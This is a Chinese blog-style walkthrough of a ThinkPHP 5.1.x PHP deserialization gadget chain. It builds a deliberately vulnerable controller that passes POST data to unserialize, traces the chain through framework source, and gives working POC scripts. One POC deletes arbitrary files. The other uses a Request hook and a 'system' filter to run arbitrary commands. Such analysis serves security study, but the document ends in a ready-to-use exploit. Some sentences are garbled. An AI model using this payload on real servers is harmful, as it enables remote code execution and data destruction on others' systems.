重生之学习thinkphp5.1.x反序列化
前言
昨天分析完tp5.0的,今天继续5.1的,特地去学了一下phar反序列化,康复训练,tp5.1不提供下载,可以通过composer进行安装
安装compoer
https://install.phpcomposer.com/composer.phar
放在php目录下,在 PHP 安装目录下新建一个 composer.bat 文件,并将下列代码保存到此文件中
@php "%~dp0composer.phar" %*
进入web根目录进行安装
composer create-project topthink/think=5.1.35 tp5.1
调用链分析
反序列化,先在控制器里写个入口
<?php
namespace app\index\controller;
class Index
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
public function unser()
{
echo $_POST['data'];
unserialize($_POST['data']);
}
}
其实前面的调用链和thinkphp5.0.x的是一样的,都是位于thinkphp/library/think/process/pipes/Windows.php
的destruct方法,然后调用到removeFiles方法
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
这里其实就是存在任意文件删除的,传个filename进来就好了
poc.php
<?php
namespace think\process\pipes;
class Windows
{
private $files =["D:\\phpstudy_pro\\WWW\\tp5.1\\1.txt"];;
}
echo urlencode(serialize(new Windows()));
继续接着看反序列化,他接下来是通过file_exists去触发toString方法,这里用到的是thinkphp/library/think/model/concern/Conversion.php
的toString方法,一直跟进,最后是调用到toArray方法。
public function toArray()
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}
$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}
return $item;
}
这里的toArray方法比较长,但是我们最终的目的其实是要走到$relation->visible($name);
处,目的就是要用来触发call方法,因为call方法避免出现找不到调用的方法而产生错误,在call方法中常利用call_user_func_array来调用,在这里这个$relation可控,所以就选择他。首先如果需要执行到这里,必须满足几个条件
- !empty($this->append)
- is_array($name)
- 在
$relation = $this->getRelation($key);
没有获取到$relation - 在
$relation = $this->getAttr($key);
获取到relation
第一个条件很容易满足,直接看getRelation方法
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
我们这里需要让他返回的是空,又传入了key不在他的relation数组里即可。继续跟进getAttr
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
// 检测属性获取器
$fieldName = Loader::parseName($name);
$method = 'get' . Loader::parseName($name, 1) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
} elseif (method_exists($this, $method)) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}
$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$name])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$name]);
} elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {
if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
'datetime',
'date',
'timestamp',
])) {
$value = $this->formatDateTime($this->dateFormat, $value);
} else {
$value = $this->formatDateTime($this->dateFormat, $value, true);
}
} elseif ($notFound) {
$value = $this->getRelationAttribute($name, $item);
}
return $value;
}
最后返回的是value= name);`赋值,跟进getData方法
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
这里传进来的key,他会判断是否在他的data数组和relation数组中。现在先来总结一下之前的
- $this->append 可控并且不能是空
- $this->data 可控
- key是this->append的键名
- key不是this->relation的键名
- this->data[$key]
当我们 $relation
为一个对象时,就可以进行调用类中的 visible
方法且传参可控,但是需要注意
_toString() trait Conversion类
toArray() trait Conversion类
getRelation() trait Attribute类
getAttr() trait Attribute类
自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。
所以我们需要找到一个同时继承了Attribute类和Conversion类的对象,找到了thinkphp/library/think/Model.php
,但是他是个抽象类,需要找到他的子类Pivot。
继续寻找,我们现在的目标是寻找一个有call方法但是木有visible方法的类,因为一般的call方法会避免找不到调用的方法出错,会使用call_user_func和call_user_func_array。
这里找到的是thinkphp/library/think/Request.php
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
需要让hook数组中有visible这个键。但是args
经过了array_unshift
函数插入导致args数组
的第一个值不可控,但是我们可以调用任何方法。这里先来看thinkphp/library/think/Request.php
的input方法
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
他对$data循环调用了filterValue方法。来看看filterValue方法里是怎么写的
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $value;
}
他这里使用了call_user_func,把filter进行调用,但是这里的data的键,但是input中的$data依旧不可控,继续往上找,找到param方法。
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
他在最后调用了input方法,param是通过get方法传入的,$name并不可控,现在就差name了,再往上找一层,找到isAjax方法
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
这里调用$this->param($this->config['var_ajax'])
,把自身的name,然后作为input方法的name,并且param中的$data是get传入的参数,作为data一直到filterValue里的key和value。我们从最后开始再走一遍,最终是要调用到这个filterValue方法
主要是$value = call_user_func($filter, $value);
,所以我们要进行命令执行,filter就可以是system,value就是我们的命令,这里的filter是filters数组里的,value是在input传入的,继续往上走,在input中调用filterValue的代码如下array_walk_recursive($data, [$this, 'filterValue'], $filter);
,此时是对filter就应该是传到filterValue方法里的第三个参数就是filters,他是通过getFilter获取的
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
返回的filter是通过data是通过$data获取
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
this->config['var_ajax'],data最后为get与post所有参数[$this->config['var_ajax']]
最后poc如下
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files=[new Pivot()];
}
}
namespace think;
abstract class Model{
protected $append=[];
private $data=[];
public function __construct(){
$this->append=["ch1e"=>['hello']];
$this->data=["ch1e"=>new Request()];
}
}
namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $config;
public function __construct()
{
$this->hook['visible'] = [$this, 'isAjax'];
$this->filter = "system";
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
$this->hook['visible'] = [$this, 'isAjax'];
是在__call方法中调用自身的isAjax方法
$this->filter = "system";
是为了最终调用的函数
$this->append=["ch1e"=>['hello']];
是满足append不为空并且键要在data数组中
$this->data=["ch1e"=>new Request()];
是为了通过键去查找并且返回request对象